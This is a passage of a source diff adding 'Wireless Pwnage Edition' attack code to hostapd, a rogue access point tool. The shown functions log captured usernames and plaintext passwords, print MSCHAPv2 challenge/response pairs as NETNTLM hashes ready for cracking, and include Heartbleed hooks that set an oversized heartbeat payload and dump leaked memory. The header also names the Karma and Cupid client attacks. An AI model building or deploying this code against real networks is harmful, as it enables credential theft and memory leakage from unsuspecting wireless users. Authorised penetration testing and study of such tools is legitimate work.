+ wpe_log_file_and_stdout("\t challenge:\t");
|
|
+ for (x=0; x<challenge_len - 1; x++)
|
|
+ wpe_log_file_and_stdout("%02x:",challenge[x]);
|
|
+ wpe_log_file_and_stdout("%02x\n",challenge[x]);
|
|
+
|
|
+ wpe_log_file_and_stdout("\t response:\t");
|
|
+ for (x=0; x<response_len - 1; x++)
|
|
+ wpe_log_file_and_stdout("%02x:",response[x]);
|
|
+ wpe_log_file_and_stdout("%02x\n",response[x]);
|
|
+
|
|
+ if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
|
|
+ wpe_log_file_and_stdout("\t jtr NETNTLM:\t");
|
|
+ for (x=0; x<username_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",username[x]);
|
|
+ wpe_log_file_and_stdout(":$NETNTLM$");
|
|
+
|
|
+ for (x=0; x<challenge_len; x++)
|
|
+ wpe_log_file_and_stdout("%02x",challenge[x]);
|
|
+ wpe_log_file_and_stdout("$");
|
|
+ for (x=0; x<response_len; x++)
|
|
+ wpe_log_file_and_stdout("%02x",response[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+ }
|
|
+}
|
|
+
|
|
+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len) {
|
|
+ time_t nowtime;
|
|
+ int x;
|
|
+
|
|
+ nowtime = time(NULL);
|
|
+
|
|
+ wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
|
|
+ wpe_log_file_and_stdout("\t username:\t");
|
|
+ for (x=0; x<username_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",username[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+
|
|
+ wpe_log_file_and_stdout("\t password:\t");
|
|
+ for (x=0; x<password_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",password[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+}
|
|
+
|
|
+/*
|
|
+ Taken from asleap, who took from nmap, who took from tcpdump :)
|
|
+*/
|
|
+void wpe_hexdump(unsigned char *bp, unsigned int length)
|
|
+{
|
|
+
|
|
+ /* stolen from tcpdump, then kludged extensively */
|
|
+
|
|
+ static const char asciify[] =
|
|
+ "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
|
|
+
|
|
+ const unsigned short *sp;
|
|
+ const unsigned char *ap;
|
|
+ unsigned int i, j;
|
|
+ int nshorts, nshorts2;
|
|
+ int padding;
|
|
+
|
|
+ wpe_log_file_and_stdout("\n\t");
|
|
+ padding = 0;
|
|
+ sp = (unsigned short *)bp;
|
|
+ ap = (unsigned char *)bp;
|
|
+ nshorts = (unsigned int)length / sizeof(unsigned short);
|
|
+ nshorts2 = (unsigned int)length / sizeof(unsigned short);
|
|
+ i = 0;
|
|
+ j = 0;
|
|
+ while (1) {
|
|
+ while (--nshorts >= 0) {
|
|
+ wpe_log_file_and_stdout(" %04x", ntohs(*sp));
|
|
+ sp++;
|
|
+ if ((++i % 8) == 0)
|
|
+ break;
|
|
+ }
|
|
+ if (nshorts < 0) {
|
|
+ if ((length & 1) && (((i - 1) % 8) != 0)) {
|
|
+ wpe_log_file_and_stdout(" %02x ", *(unsigned char *)sp);
|
|
+ padding++;
|
|
+ }
|
|
+ nshorts = (8 - (nshorts2 - nshorts));
|
|
+ while (--nshorts >= 0) {
|
|
+ wpe_log_file_and_stdout(" ");
|
|
+ }
|
|
+ if (!padding)
|
|
+ wpe_log_file_and_stdout(" ");
|
|
+ }
|
|
+ wpe_log_file_and_stdout(" ");
|
|
+
|
|
+ while (--nshorts2 >= 0) {
|
|
+ wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]);
|
|
+ ap += 2;
|
|
+ if ((++j % 8) == 0) {
|
|
+ wpe_log_file_and_stdout("\n\t");
|
|
+ break;
|
|
+ }
|
|
+ }
|
|
+ if (nshorts2 < 0) {
|
|
+ if ((length & 1) && (((j - 1) % 8) != 0)) {
|
|
+ wpe_log_file_and_stdout("%c", asciify[*ap]);
|
|
+ }
|
|
+ break;
|
|
+ }
|
|
+ }
|
|
+ if ((length & 1) && (((i - 1) % 8) == 0)) {
|
|
+ wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
|
|
+ wpe_log_file_and_stdout(" %c",
|
|
+ asciify[*ap]);
|
|
+ }
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+}
|
|
+
|
|
+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
|
|
+ if (v_content_type == TLS1_RT_HEARTBEAT) {
|
|
+ wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
|
|
+ v_ssl->tlsext_hb_pending = 1;
|
|
+ wpe_hexdump((unsigned char *)v_buf, v_len);
|
|
+ }
|
|
+}
|
|
+
|
|
+
|
|
+char *wpe_hb_clear() {
|
|
+ char *p;
|
|
+ // set payload size
|
|
+ p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3];
|
|
+ s2n(wpe_conf.wpe_hb_payload_size, p);
|
|
+
|
|
+ return wpe_hb_msg;
|
|
+}
|
|
+
|
|
diff -rupN hostapd-2.5/src/wpe/wpe.h hostapd-2.5-wpe/src/wpe/wpe.h
|
|
--- hostapd-2.5/src/wpe/wpe.h 1970-01-01 01:00:00.000000000 +0100
|
|
+++ hostapd-2.5-wpe/src/wpe/wpe.h 2015-10-25 16:52:26.349508655 +0100
|
|
@@ -0,0 +1,50 @@
|
|
+/*
|
|
+ wpe.h -
|
|
+ brad.antoniewicz@foundstone.com
|
|
+ Implements WPE (Wireless Pwnage Edition) functionality within
|
|
+ hostapd.
|
|
+
|
|
+ WPE functionality focuses on targeting connecting users. At
|
|
+ it's core it implements credential logging (originally
|
|
+ implemented in FreeRADIUS-WPE), but also includes other patches
|
|
+ for other client attacks.
|
|
+
|
|
+ FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
|
|
+ Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
|
|
+ Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
|
|
+*/
|
|
+#include <openssl/ssl.h>
|
|
+
|
|
+struct wpe_config {
|
|
+ char *wpe_logfile;
|
|
+ FILE *wpe_logfile_fp;
|
|
+ unsigned int wpe_enable_karma;
|
|
+ unsigned int wpe_enable_cupid;
|
|
+ unsigned int wpe_enable_return_success;
|
|
+ unsigned int wpe_hb_send_before_handshake:1;
|
|
+ unsigned int wpe_hb_send_before_appdata:1;
|
|
+ unsigned int wpe_hb_send_after_appdata:1;
|
|
+ unsigned int wpe_hb_payload_size;
|
|
+ unsigned int wpe_hb_num_tries;
|
|
+ unsigned int wpe_hb_num_repeats;
|
|
+};
|
|
+
|
|
+extern struct wpe_config wpe_conf;
|
|
+
|
|
+extern char wpe_hb_msg[];
|
|
+extern size_t wpe_hb_msg_len;
|
|
+
|
|
+//#define WPE_HB_MSG_LEN 8
|
|
+
|
|
+#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
|
|
+ (((unsigned int)(c[1])) )),c+=2)
|
|
+
|
|
+#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
|
|
+ c[1]=(unsigned char)(((s) )&0xff)),c+=2)
|
|
+
|
|
+
|
|
+void wpe_log_file_and_stdout(char const *fmt, ...);
|
|
+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
|
|
+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
|
|
+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
|
|
+char *wpe_hb_clear();
|